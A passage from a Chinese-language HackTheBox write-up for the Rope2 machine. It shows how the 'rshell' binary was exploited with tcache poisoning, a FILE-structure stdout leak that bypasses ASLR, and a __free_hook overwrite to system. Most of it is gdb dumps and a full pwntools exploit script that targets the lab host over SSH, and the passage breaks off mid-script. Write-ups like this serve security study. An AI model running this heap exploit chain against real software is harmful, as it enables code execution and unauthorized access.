<main_arena+624>, 0x7ffff7fc3eb0 <main_arena+624>, 0x7ffff7fc3ec0 <main_arena+640>, 0x7ffff7fc3ec0 <main_arena+640>, 0x7ffff7fc3ed0 <main_arena+656>, 0x7ffff7fc3ed0 <main_arena+656>, 0x7ffff7fc3ee0 <main_arena+672>, 0x7ffff7fc3ee0 <main_arena+672>, 0x7ffff7fc3ef0 <main_arena+688>, 0x7ffff7fc3ef0 <main_arena+688>, 0x7ffff7fc3f00 <main_arena+704>, 0x7ffff7fc3f00 <main_arena+704>, 0x7ffff7fc3f10 <main_arena+720>, 0x7ffff7fc3f10 <main_arena+720>, 0x7ffff7fc3f20 <main_arena+736>, 0x7ffff7fc3f20 <main_arena+736>, 0x7ffff7fc3f30 <main_arena+752>, 0x7ffff7fc3f30 <main_arena+752>, 0x7ffff7fc3f40 <main_arena+768>, 0x7ffff7fc3f40 <main_arena+768>, 0x7ffff7fc3f50 <main_arena+784>, 0x7ffff7fc3f50 <main_arena+784>, 0x7ffff7fc3f60 <main_arena+800>, 0x7ffff7fc3f60 <main_arena+800>, 0x7ffff7fc3f70 <main_arena+816>, 0x7ffff7fc3f70 <main_arena+816>, 0x7ffff7fc3f80 <main_arena+832>, 0x7ffff7fc3f80 <main_arena+832>, 0x7ffff7fc3f90 <main_arena+848>, 0x7ffff7fc3f90 <main_arena+848>, 0x7ffff7fc3fa0 <main_arena+864>, 0x7ffff7fc3fa0 <main_arena+864>, 0x7ffff7fc3fb0 <main_arena+880>, 0x7ffff7fc3fb0 <main_arena+880>, 0x7ffff7fc3fc0 <main_arena+896>, 0x7ffff7fc3fc0 <main_arena+896>, 0x7ffff7fc3fd0 <main_arena+912>, 0x7ffff7fc3fd0 <main_arena+912>, 0x7ffff7fc3fe0 <main_arena+928>, 0x7ffff7fc3fe0 <main_arena+928>, 0x7ffff7fc3ff0 <main_arena+944>, 0x7ffff7fc3ff0 <main_arena+944>, 0x7ffff7fc4000 <main_arena+960>, 0x7ffff7fc4000 <main_arena+960>, 0x7ffff7fc4010 <main_arena+976>, 0x7ffff7fc4010 <main_arena+976>, 0x7ffff7fc4020 <main_arena+992>, 0x7ffff7fc4020 <main_arena+992>, 0x7ffff7fc4030 <main_arena+1008>, 0x7ffff7fc4030 <main_arena+1008>, 0x7ffff7fc4040 <main_arena+1024>, 0x7ffff7fc4040 <main_arena+1024>, 0x7ffff7fc4050 <main_arena+1040>, 0x7ffff7fc4050 <main_arena+1040>, 0x7ffff7fc4060 <main_arena+1056>, 0x7ffff7fc4060 <main_arena+1056>, 0x7ffff7fc4070 <main_arena+1072>, 0x7ffff7fc4070 <main_arena+1072>, 0x7ffff7fc4080 <main_arena+1088>, 0x7ffff7fc4080 <main_arena+1088>, 0x7ffff7fc4090 <main_arena+1104>, 0x7ffff7fc4090 <main_arena+1104>, 0x7ffff7fc40a0 <main_arena+1120>, 0x7ffff7fc40a0 <main_arena+1120>, 0x7ffff7fc40b0 <main_arena+1136>, 0x7ffff7fc40b0 <main_arena+1136>, 0x7ffff7fc40c0 <main_arena+1152>, 0x7ffff7fc40c0 <main_arena+1152>, 0x7ffff7fc40d0 <main_arena+1168>, 0x7ffff7fc40d0 <main_arena+1168>, 0x7ffff7fc40e0 <main_arena+1184>, 0x7ffff7fc40e0 <main_arena+1184>, 0x7ffff7fc40f0 <main_arena+1200>, 0x7ffff7fc40f0 <main_arena+1200>, 0x7ffff7fc4100 <main_arena+1216>, 0x7ffff7fc4100 <main_arena+1216>, 0x7ffff7fc4110 <main_arena+1232>, 0x7ffff7fc4110 <main_arena+1232>, 0x7ffff7fc4120 <main_arena+1248>, 0x7ffff7fc4120 <main_arena+1248>, 0x7ffff7fc4130 <main_arena+1264>, 0x7ffff7fc4130 <main_arena+1264>, 0x7ffff7fc4140 <main_arena+1280>, 0x7ffff7fc4140 <main_arena+1280>, 0x7ffff7fc4150 <main_arena+1296>, 0x7ffff7fc4150 <main_arena+1296>, 0x7ffff7fc4160 <main_arena+1312>, 0x7ffff7fc4160 <main_arena+1312>, 0x7ffff7fc4170 <main_arena+1328>, 0x7ffff7fc4170 <main_arena+1328>, 0x7ffff7fc4180 <main_arena+1344>, 0x7ffff7fc4180 <main_arena+1344>, 0x7ffff7fc4190 <main_arena+1360>, 0x7ffff7fc4190 <main_arena+1360>, 0x7ffff7fc41a0 <main_arena+1376>, 0x7ffff7fc41a0 <main_arena+1376>, 0x7ffff7fc41b0 <main_arena+1392>, 0x7ffff7fc41b0 <main_arena+1392>, 0x7ffff7fc41c0 <main_arena+1408>, 0x7ffff7fc41c0 <main_arena+1408>, 0x7ffff7fc41d0 <main_arena+1424>, 0x7ffff7fc41d0 <main_arena+1424>, 0x7ffff7fc41e0 <main_arena+1440>, 0x7ffff7fc41e0 <main_arena+1440>, 0x7ffff7fc41f0 <main_arena+1456>, 0x7ffff7fc41f0 <main_arena+1456>, 0x7ffff7fc4200 <main_arena+1472>, 0x7ffff7fc4200 <main_arena+1472>, 0x7ffff7fc4210 <main_arena+1488>, 0x7ffff7fc4210 <main_arena+1488>, 0x7ffff7fc4220 <main_arena+1504>, 0x7ffff7fc4220 <main_arena+1504>, 0x7ffff7fc4230 <main_arena+1520>, 0x7ffff7fc4230 <main_arena+1520>, 0x7ffff7fc4240 <main_arena+1536>, 0x7ffff7fc4240 <main_arena+1536>, 0x7ffff7fc4250 <main_arena+1552>, 0x7ffff7fc4250 <main_arena+1552>, 0x7ffff7fc4260 <main_arena+1568>, 0x7ffff7fc4260 <main_arena+1568>, 0x7ffff7fc4270 <main_arena+1584>, 0x7ffff7fc4270 <main_arena+1584>, 0x7ffff7fc4280 <main_arena+1600>, 0x7ffff7fc4280 <main_arena+1600>, 0x7ffff7fc4290 <main_arena+1616>, 0x7ffff7fc4290 <main_arena+1616>, 0x7ffff7fc42a0 <main_arena+1632>, 0x7ffff7fc42a0 <main_arena+1632>, 0x7ffff7fc42b0 <main_arena+1648>, 0x7ffff7fc42b0 <main_arena+1648>, 0x7ffff7fc42c0 <main_arena+1664>, 0x7ffff7fc42c0 <main_arena+1664>, 0x7ffff7fc42d0 <main_arena+1680>, 0x7ffff7fc42d0 <main_arena+1680>...}, binmap = {0, 0, 0, 0}, next = 0x7ffff7fc3c40 <main_arena>, next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168}
```

#### 泄露Libc

 - FSOP泄露

使用一种名为面向文件系统编程(FSOP)的技术来泄漏libc地址。FSOP的思想是攻击文件流对象的GLIBC实现。这篇[2018年的论文](https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf)详细介绍了文件流和文件对象结构。如果程序自己创建了一个用fopen打开的文件，就能找到那个结构并打乱它。文件对象中还有函数指针，可以覆盖它们以执行代码。但还不能这样做，因为还不知道应该写什么地址。

所能做的是找到并覆盖_flag和_IO_write_base指针，以便在写入该文件流的下一个操作中写入其他内容。

当然，所有这些都假设有一个FILE对象。stdin和stdout是保存在LIBC空间中的文件对象。因为使用的libc带有debug符号，可以通过名称打印stdout，并使用&获得地址:

``` bash
(gdb) p _IO_2_1_stdout_
$3 = {file = {_flags = -72537977, _IO_read_ptr = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7ffff7fc47e3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7ffff7fc47e4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7fc3a00 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7ffff7fc6580 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7fc38c0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times>}, vtable = 0x7ffff7fc5560 <__GI__IO_file_jumps>}

(gdb) p &_IO_2_1_stdout_
$2 = (struct _IO_FILE_plus *) 0x7ffff7fc4760 <_IO_2_1_stdout_>
```

因此，如果可以将_IO_write_base更改为_IO_write_end之前的某个值，将诱使stdout认为内容已被缓存并等待发送。当前指针是0x7ffff7fc47e3。如果只写一个空字节，那么它将是0x7ffff7fc4700:

``` bash
(gdb) x/12xg 0x00007ffff7fc4700
0x7ffff7fc4700 <_IO_2_1_stderr_+128>:   0x0000000000000000      0x00007ffff7fc6570
0x7ffff7fc4710 <_IO_2_1_stderr_+144>:   0xffffffffffffffff      0x0000000000000000
0x7ffff7fc4720 <_IO_2_1_stderr_+160>:   0x00007ffff7fc3780      0x0000000000000000
0x7ffff7fc4730 <_IO_2_1_stderr_+176>:   0x0000000000000000      0x0000000000000000
0x7ffff7fc4740 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000
0x7ffff7fc4750 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x00007ffff7fc5560
```

如果打印过来，就会泄露libc绕过ASLR。

 - 改变指向_IO_2_1_stdout的指针

当最后结束时，已经将main_arena中的这个指针写到堆中，并设法释放了两个“文件”。也可以访问一个重叠块之前的main_arena指针:

``` bash
0x55555555c3a0: 0x0000000000000000      0x0000000000000081  <-- chunk B, currently in tcache
0x55555555c3b0: 0x0000000000000000      0x000055555555c010
0x55555555c3c0: 0x0000000000000000      0x0000000000000000
0x55555555c3d0: 0x0000000000000000      0x00000000000000a1
0x55555555c3e0: 0x00007ffff7fc3ca0      0x00007ffff7fc3ca0  <-- libc meta
0x55555555c3f0: 0x0000000000000000      0x0000000000000000
0x55555555c400: 0x0000000000000000      0x0000000000000000
0x55555555c410: 0x0000000000000000      0x0000000000000000
0x55555555c420: 0x0000000000000000      0x0000000000000031
```

想写0x7ffff7fc4760。将获取B，并使用它修改libc地址的低两个字节，指向_IO_2_1_stdout_:

``` bash
add('B', 0x70)
edit('B', 0x70, p64(0)*5 + p64(0xa1) + b"\x60\x47")
rm('B')
```

现在在堆上有了想要写入的地址:

``` bash
0x55555555c3a0: 0x0000000000000000      0x0000000000000081
0x55555555c3b0: 0x0000000000000000      0x000055555555c010
0x55555555c3c0: 0x0000000000000000      0x0000000000000000
0x55555555c3d0: 0x0000000000000000      0x00000000000000a1
0x55555555c3e0: 0x00007ffff7fc4760      0x00007ffff7fc3ca0  <-- now points to stdout
```

当发现启用了ASLR时，这可能会失败。这是因为地址的低三个字节(0x760)是一致的，高一点的字节(在本例中是4)将改变ASLR。一旦它正常工作，就会打开ASLR，这样它答对的概率就会是1/16, 6.25% 尽管如此，仍然可以反复进行攻击，所以在10次尝试中，有50%的几率成功，在20次尝试中，我有75%的几率成功。将更新脚本以循环失败。

 - 定位写到_IO_2_1_stdout

现在，想在这个结构上创建一个块，将使用与以前相同的tcache毒化技术。经过一堆重写，设法达到这一点的tcache看起来像:

``` bash
(0x20)   tcache_entry[0](1): 0x55555555c2e0                                                                               
(0x30)   tcache_entry[1](3): 0x55555555c430 --> 0x55555555c430 (overlap chunk with 0x55555555c420(freed) )                
(0x40)   tcache_entry[2](2): 0x55555555c460 --> 0x55555555c300
(0x50)   tcache_entry[3](1): 0x55555555c2b0 (overlap chunk with 0x55555555c2d0(freed) )
(0x60)   tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2d0(freed) )
(0x80)   tcache_entry[6](1): 0x55555555c3b0
(0xa0)   tcache_entry[8](7): 0x55555555c3e0 (overlap chunk with 0x55555555c420(freed) )
```

如果目标地址在0x300s中，那么0x40 tcache bins看起来是一个很好的目标。将使用与上面相同的技巧编辑指针，在460处获取bin，将其编辑为0，使第二个文件指向它，释放第一个文件，以便在有一个句柄的时候它回到tcache中，然后编辑地址。

``` bash
add('F', 0x30)           # fetch 460 chunk from tcache, 300 still in 0x40 tcache
edit('F', 0)             # 460 -> 300 in 0x40 tcache, f1 -> 460 
add('F2', 0x30)          # f1 and f2 -> 460, 300 in 0x40 tcache
rm('F')                  # f2 -> 460, 460 -> 300 in 0x40 tcache
edit('F2', 0x30, '\xe0') # 460 -> 3e0 -> stdout in 0x40 tcache

# get 460 from tcahce, shrink it, and release it
add('F3', 0x30)
edit('F3', 0x10)
rm('F3')

# get 3e0 from tcache, shrink it, and release it
add('fake3', 0x30)
edit('fake3', 0x10)
rm('fake3')

# clean up F2
edit('F2', 0x10, p64(0)*2) # overwrtie pointer and key to allow double free
rm('F2')
```

此时，0x40 tcache列表指向_IO_2_1_stdout_:

``` bash
(0x40)   tcache_entry[2](0): 0x7ffff7fc4760 --> 0xfbad2887 (invalid memory)
```

 - 写_IO_2_1_stdout

如上所述，将攻击stdout的文件结构。在gdb中展示了上面的结构体，但[源代码](http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libio.h;h=3cf1712ea98d3c253f418feb1ef881c4a44649d5;hb=HEAD#l245)也很有用:

``` bash
 245 struct _IO_FILE {
 246   int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
 247 #define _IO_file_flags _flags
 248 
 249   /* The following pointers correspond to the C++ streambuf protocol. */
 250   /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
 251   char* _IO_read_ptr;   /* Current read pointer */
 252   char* _IO_read_end;   /* End of get area. */
 253   char* _IO_read_base;  /* Start of putback+get area. */
 254   char* _IO_write_base; /* Start of put area. */
 255   char* _IO_write_ptr;  /* Current put pointer. */
 256   char* _IO_write_end;  /* End of put area. */
 257   char* _IO_buf_base;   /* Start of reserve area. */
 258   char* _IO_buf_end;    /* End of reserve area. */
 259   /* The following fields are used to support backing up and undo. */
 260   char *_IO_save_base; /* Pointer to start of non-current get area. */
 261   char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 262   char *_IO_save_end; /* Pointer to end of non-current get area. */
...[snip]...
 285 #ifdef _IO_USE_OLD_IO_FILE
 286 };
```

将覆盖_flags、三个_IO_read_*地址和_IO_write_ptr的低字节。_flags在[这里](http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libio.h;h=3cf1712ea98d3c253f418feb1ef881c4a44649d5;hb=HEAD#l86)定义:

``` bash
  92 #define _IO_MAGIC 0xFBAD0000 /* Magic number */
  93 #define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
  94 #define _IO_MAGIC_MASK 0xFFFF0000
  95 #define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
  96 #define _IO_UNBUFFERED 2
  97 #define _IO_NO_READS 4 /* Reading not allowed */
  98 #define _IO_NO_WRITES 8 /* Writing not allowed */
  99 #define _IO_EOF_SEEN 0x10
 100 #define _IO_ERR_SEEN 0x20
 101 #define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
 102 #define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
 103 #define _IO_IN_BACKUP 0x100
 104 #define _IO_LINE_BUF 0x200
 105 #define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
 106 #define _IO_CURRENTLY_PUTTING 0x800
 107 #define _IO_IS_APPENDING 0x1000
 108 #define _IO_IS_FILEBUF 0x2000
 109 #define _IO_BAD_SEEN 0x4000
 110 #define _IO_USER_LOCK 0x8000
```

两个高字节将是0xfbad，这是该结构的神奇数字。对于底部的两个字节，将打开_io_currently_puts和_IO_IS_APPENDING。这些标记是在其他CTF文章中看到过的，在这里表明这些数据已经准备好了。

不认为在三个_IO_read_*字段中写什么是非常重要的，因为没有东西从stdout读取。然后，想要一个在_IO_write_ptr空字节的低字节。

将得到一个机会写到_IO_2_1_stdout_，因为调用edit将调用realloc，这将失败，因为它将发现意外的数据，它期待堆元。仔细观察add，它使用fgets，所以它将[读取到完整的大小，或者直到换行](http://www.cplusplus.com/reference/cstdio/fgets/)。因为不会写完整的大小，所以sendline的换行符会在那里。它还在输入的末尾追加一个null。

把所有这些放在一起，将创建如下的bin:

``` bash
add('stdout', 0x30, p64(0xfbad1800) + p64(0)*2 + b"\x00"*7)
```

 - 泄露

为了看到实际操作，将运行对_IO_2_1_stdout_的写入操作，然后附加gdb并在0x0000555555555b92处设置一个额外的断点。这是在添加完成之后，但在打印任何内容之前(一旦打印完成，文件中的所有指针都将被更新)。现在，将跳过Python脚本中的泄漏指令，gdb将达到这个断点。将检查_IO_2_1_stdout_:

``` bash
Breakpoint 2, 0x0000555555555b92 in ?? ()
(gdb) x/12xg &_IO_2_1_stdout_
0x7ffff7fc4760 <_IO_2_1_stdout_>:       0x00000000fbad1800      0x0000000000000000  <-- modified flags, null read ptr
0x7ffff7fc4770 <_IO_2_1_stdout_+16>:    0x0000000000000000      0x0a00000000000000  <-- null read end, null read base
0x7ffff7fc4780 <_IO_2_1_stdout_+32>:    0x00007ffff7fc4700      0x00007ffff7fc47e3  <-- low byte 0 for write ptr
0x7ffff7fc4790 <_IO_2_1_stdout_+48>:    0x00007ffff7fc47e3      0x00007ffff7fc47e3
0x7ffff7fc47a0 <_IO_2_1_stdout_+64>:    0x00007ffff7fc47e4      0x0000000000000000
0x7ffff7fc47b0 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
```

当允许继续这样做(并且通过在调用的末尾添加日志级别为DEBUG的Python脚本运行)，可以看到数据返回:

``` bash
[DEBUG] Sent 0xb bytes:
    b'add stdout\n'
[DEBUG] Received 0x6 bytes:
    b'size: '
[DEBUG] Sent 0x3 bytes:
    b'48\n'
[DEBUG] Received 0x9 bytes:
    b'content: '
[DEBUG] Sent 0x20 bytes:
    00000000  00 18 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 0a  │····│····│····│····│
    00000020
[DEBUG] Received 0xe5 bytes:
    00000000  00 00 00 00  00 00 00 00  70 65 fc f7  ff 7f 00 00  │····│····│pe··│····│
    00000010  ff ff ff ff  ff ff ff ff  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000020  80 37 fc f7  ff 7f 00 00  00 00 00 00  00 00 00 00  │·7··│····│····│····│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000050  00 00 00 00  00 00 00 00  60 55 fc f7  ff 7f 00 00  │····│····│`U··│····│
    00000060  00 18 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000070  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 0a  │····│····│····│····│
    00000080  00 47 fc f7  ff 7f 00 00  e3 47 fc f7  ff 7f 00 00  │·G··│····│·G··│····│
    00000090  e3 47 fc f7  ff 7f 00 00  e3 47 fc f7  ff 7f 00 00  │·G··│····│·G··│····│
    000000a0  e4 47 fc f7  ff 7f 00 00  00 00 00 00  00 00 00 00  │·G··│····│····│····│
    000000b0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000c0  00 00 00 00  00 00 00 00  00 3a fc f7  ff 7f 00 00  │····│····│·:··│····│
    000000d0  01 00 00 00  00 00 00 00  ff ff ff ff  ff ff ff ff  │····│····│····│····│
    000000e0  00 00 00 24  20                                     │···$│ │
    000000e5
```

跟之前看到的和预期的相符。可以从8-15字节中提取libc地址。

当第一次解决这个问题时，没有添加返回任何东西，但更新它返回任何返回的东西，所以可以捕捉它，并从它获得libc地址。

将查看这个地址和/proc/$(pidof rshell)/maps文件，以查看从它到libc基址的偏移量是0x1e7570。

 - 追加ASLR说明

前面提到过，这里有一些关于ASLR的问题。正在修改底部的两个字节(或四个字节)。但只知道想要的low three nibbles是什么。因此，在猜测第四点。有2^4 = 16个可能的值，所以1/16的机会是正确的，6.25%尽管如此，仍然可以反复进行攻击，所以在10次尝试中，我有50%的几率成功，在20次尝试中，有75%的几率成功。将更新脚本以循环失败。

#### 执行

 - 写到__free_hook

既然泄露了libc的消息，就可以被判死刑了。将用system覆盖__free_hook，然后释放一个包含"/bin/sh"的块。

遇到的第一个挑战是，不能释放指向_IO_2_1_stdout_的 “文件”，因为它将导致崩溃。这意味着从现在开始，只能使用一个文件。给出的第一个关于如何创建一个假块的例子实际上就是为这个做准备的。当最初到达这一点时，必须返回并在一开始添加它，以便它可以从这里获取(这意味着重新工作所有的间距等)。一旦这样做了，就达到了以下状态:

``` bash
-----------------------------------
[0x00007ffff7fc4760] stdout  : 
[0x0000000000000000]         : (null)
-----------------------------------
0x55555555c280: 0x0000000000000000      0x0000000000000061  <-- fake1 from start, in 0x60 tcache
0x55555555c290: 0x0000000000000000      0x000055555555c010
0x55555555c2a0: 0x0000000000000000      0x0000000000000051  <-- real chunk B from start, in 0x50 tcache
0x55555555c2b0: 0x0000000000000000      0x000055555555c010
0x55555555c2c0: 0x0000000000000000      0x0000000000000000
0x55555555c2d0: 0x0000000000000000      0x0000000000000021
0x55555555c2e0: 0x0000000000000000      0x000055555555c010
0x55555555c2f0: 0x0000000000000000      0x0000000000000041
0x55555555c300: 0x0000000000000000      0x000055555555c010
0x55555555c310: 0x0000000000000000      0x0000000000000000
0x55555555c320: 0x0000000000000000      0x0000000000000000
0x55555555c330: 0x0000000000000000      0x0000000000000071
-----------------------------------
                  top: 0x55555555c490 (size : 0x20b70) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x55555555c3d0 (doubly linked list corruption 0x55555555c3d0 != 0x0 and 0x55555555c3d0 is broken)
(0x20)   tcache_entry[0](5): 0x55555555c460 --> 0x55555555c3e0 --> 0x55555555c460 (overlap chunk with 0x55555555c450(freed) )
(0x30)   tcache_entry[1](3): 0x55555555c430 --> 0x55555555c430 (overlap chunk with 0x55555555c420(freed) )
(0x40)   tcache_entry[2](255): 0xfbad2887 (invalid memory)
(0x50)   tcache_entry[3](1): 0x55555555c2b0                                             <-- B
(0x60)   tcache_entry[4](1): 0x55555555c290 (overlap chunk with 0x55555555c2a0(freed) ) <-- fake1
(0x80)   tcache_entry[6](2): 0x55555555c400 (overlap chunk with 0x55555555c450(freed) )
(0xa0)   tcache_entry[8](7): 0x55555555c3e0 (overlap chunk with 0x55555555c3d0(freed) )
```

因此，可以获得块fake1，并使用它来修改当前位于0x50 tcache中的块B。如果用一个指针替换当前为null(表示链表的结束)的第一个单词，该指针有效地连接了tcache列表。

``` bash
add('K', 0x50, p64(0)*3 + p64(0x51) + p64(libc.symbols['__free_hook']-8)) # add free hook to tcache 0x50
rm('K')               # free file
```

运行完这些之后，指针被添加:

``` bash
0x55555555c280: 0x0000000000000000      0x0000000000000061
0x55555555c290: 0x0000000000000000      0x000055555555c010
0x55555555c2a0: 0x0000000000000000      0x0000000000000051
0x55555555c2b0: 0x00007ffff7fc65a0      0x000055555555000a  <-- free_hook in tcache
0x55555555c2c0: 0x0000000000000000      0x0000000000000000
```

在heapinfo中显示:

``` bash
(0x50)   tcache_entry[3](1): 0x55555555c2b0 --> 0x7ffff7fc65a0
```

需要去掉2b0块:

``` bash
# clear from tcache with add, shrink, rm
add('J', 0x40)
edit('J', 0x10)
rm('J')
```

现在只要添加一个0x40字节的条目，然后释放它。

``` bash
add('hook', 0x40, b"/bin/sh\x00" + p64(libc.symbols['system']))
rm('hook', wait=False)
p.interactive()
```

 - __free_hook Payload

payload也有点棘手。一旦写入__free_hook，不能释放它而不造成崩溃，所以两个文件都被有效地使用了。 为了解决这个问题，将把这个块指向__free_hook之前的8个字节。将用"/bin/sh\x00"覆盖这些字节，然后继续系统地址。这样，当程序读取块内容(或将其传递给_free_hook)时，就会得到字符串“/bin/sh”。

#### shell

最后的脚本在这里。因为PwnTools中的shell不是很好，所以为远程目标添加了一行代码，以便自动编写创建authorized_keys文件，这样就可以直接跳转到SSH连接。

 - pwn_rshell.py

``` bash
#!/usr/bin/env python3

import pdb
from pwn import *


prompt = '$ '

def ls():
    p.sendline('ls')
    res = p.recvuntil(prompt)
    for line in res.split(b'\n')[:-1]:
        print(line.decode())

def add(name, size, content='x'):
    p.sendline(f'add {name}')
    res = p.recvuntil(('size: ', prompt))
    if res.endswith(prompt.encode()): 
        pdb.set_trace()
        return
    p.sendline(f'{size}')
    if size > 0:
        p.recvuntil('content: ')
        p.sendline(content)
    res = p.recvuntil(prompt)
    return res
    
def rm(name, wait=True):
    p.sendline(f'rm {name}')
    if wait:
        p.recvuntil(prompt)

def edit(name, size, content='x'):
    p.sendline(f'edit {name}')
    res = p.recvuntil(('size: ', prompt))
    if res == prompt: 
        pdb.set_trace()
        return
    p.sendline(f'{size}')
    if size > 0:
        p.recvuntil('content: ')
        p.send(content)
    p.recvuntil(prompt)


rshell = ELF('./rshell')
libc = ELF('./libc.so.6-ropetwo')

if args.REMOTE:
    remote = ssh(host='10.10.10.196', user='chromeuser', keyfile='/root/hackthebox/machine/rope2/id_rsa')
    

while True:
    if args.REMOTE:
        p = remote.run('rshell')
    else:
        p = process('./rshell')
    p.recvuntil('$ ')

    # Create overlaps for end
    add('A', 0x40, p64(0)*5 + p64(0x61) + p64(0))   # A at 260 in f1
    add('B', 0x40)                                  # B at 2b0 in f2
    rm('A')                                         # A in 0x50 tcache, f1 empty
    edit('B', 0)                                    # B -> A in 0x50 tcache, f2 still B
    add('B2', 0x40)                                 # A in 0x50 tcache, f1 & f2 -> B
    rm('B')                                         # B -> A in 0x50 tcache, f1 -> B
    edit('B2', 0x40, '\x90')                        # B -> fake1 in 0x50 tcache, f1 -> B
    add('B3', 0x40)                                 # fake in 0x50 tcache, f2 -> B
    edit('B3', 0x20)                                # B-end in 0x20 tcache
    rm('B3')                                        # B in 0x30 tcache
    add('fake1', 0x40, p64(0)*3 + p64(0x51) + p64(0))
    rm('fake1')
    rm('B2')

    add('x', 0x30)                                  # add for spacing
    rm('x')

    add('C', 0x60)   # create block to be freed and steal pointer in tcache - C = 340
    add('D', 0x70, p64(0)*5 + p64(0xa1) + p64(0)) # create block and fake block to put fake block meta in place - D = 3b0
    rm('D') # D in tcache 0x80
    add('E', 0x60, p64(0x21)*11)   # create second 0x60, E, and spray with 0x21 for next block meta fake later, E = 430
    rm('C')               # f1 empty, C in 0x70 tcache
    edit('E', 0)      # slot 2 -> E, E->C in 0x70 tcache
    add('E2', 0x60)  # slots 1 and 2 -> E, C in 0x70 tcache
    rm('E')               # slot 1 -> E, E -> C in 0x70 tache
    edit('E2', 0x60, b'\xe0') # edit tcache pointer, C -> fake2 in 0x70 tcache

    # next three fetch C from tcache, and get rid of it without putting it back in 0x70 tcache
    add('E3', 0x60)   # fetch E, fake in 0x70 tcache
    edit('E3', 0x20)  # E-end in 0x30 tcache
    rm('E3')          # E in 0x50 tcache

    add('fake2', 0x60, p64(0)*9 + p64(0x31) + p64(0))   # get fake block, change key for E
    rm('E2') # C
    add('B', 0x70) # B

    # free fake to fill tcache, then overwrite key protecting from double free
    for i in range(7):
        edit('fake2', 0x0)    # free fake block, put 2f0 in 0x90 tcache
        edit('B', 0x70, p64(0)*5 + p64(0xa1) + p64(0) + chr(i).encode()) # B

    rm('B') # B
    rm('fake2')

    # modify libc address
    add('B', 0x70)
    edit('B', 0x70, p64(0)*5 + p64(0xa1) + b"\x60\x47")
    rm('B')

    add('F', 0x30)           # fetch 460 chunk from tcache, 300 still in 0x40 tcache
    edit('F', 0)             # 460 -> 300 in 0x40 tcache, f1 -> 460
    add('F2', 0x30)          # f1 and f2 -> 460, 300 in 0x40 tcache
    rm('F')                  # f2 -> 460, 460 -> 300 in 0x40 tcache
    edit('F2', 0x30, '\xe0') # 460 -> 3e0 -> stdout in 0x40 tcache

    # get 460 from tcahce, shrink it, and release it
    add('F3', 0x30)
    edit('F3', 0x10)
    rm('F3')

    # get 3e0 from tcache, shrink it, and release it
    add('fake3', 0x30)       
    edit('fake3', 0x10)
    rm('fake3')

    # clean up F2
    edit('F2', 0x10, p64(0)*2) # overwrtie pointer and key to allow double free
    rm('F2')

    try:
        leak = add('stdout', 0x30, p64(0xfbad1800) + p64(0)*2 + b"\x00"*7)
        if b'\x7f' not in leak:
            log.failure("Failed")
        else:
            break
    except EOFError:
        log.failure("Failed")

leaked_addr = u64(leak[8:16])
log.success(f'Leaked address: 0x{leaked_addr:x}')
libc.address = leaked_addr - 0x1e7570
log.success(f'Libc base: 0x{libc.address:x}')

log.info("Overwriting __free_hook")
add('K', 0x50, p64(0)*3 + p64(0x51) + p64(libc.symbols['__free_hook']-8)) # add free hook to tcache 0x50
rm('K')               # free file

# clear from tcache with add, shrink, rm
add('J', 0x40)
edit('J', 0x10)
rm('J')
add('hook', 0x40, b"/bin/sh\x00" + p64(libc.symbols['system']))
log.info("Triggering shell")
rm('hook', wait=False)
if args.REMOTE:
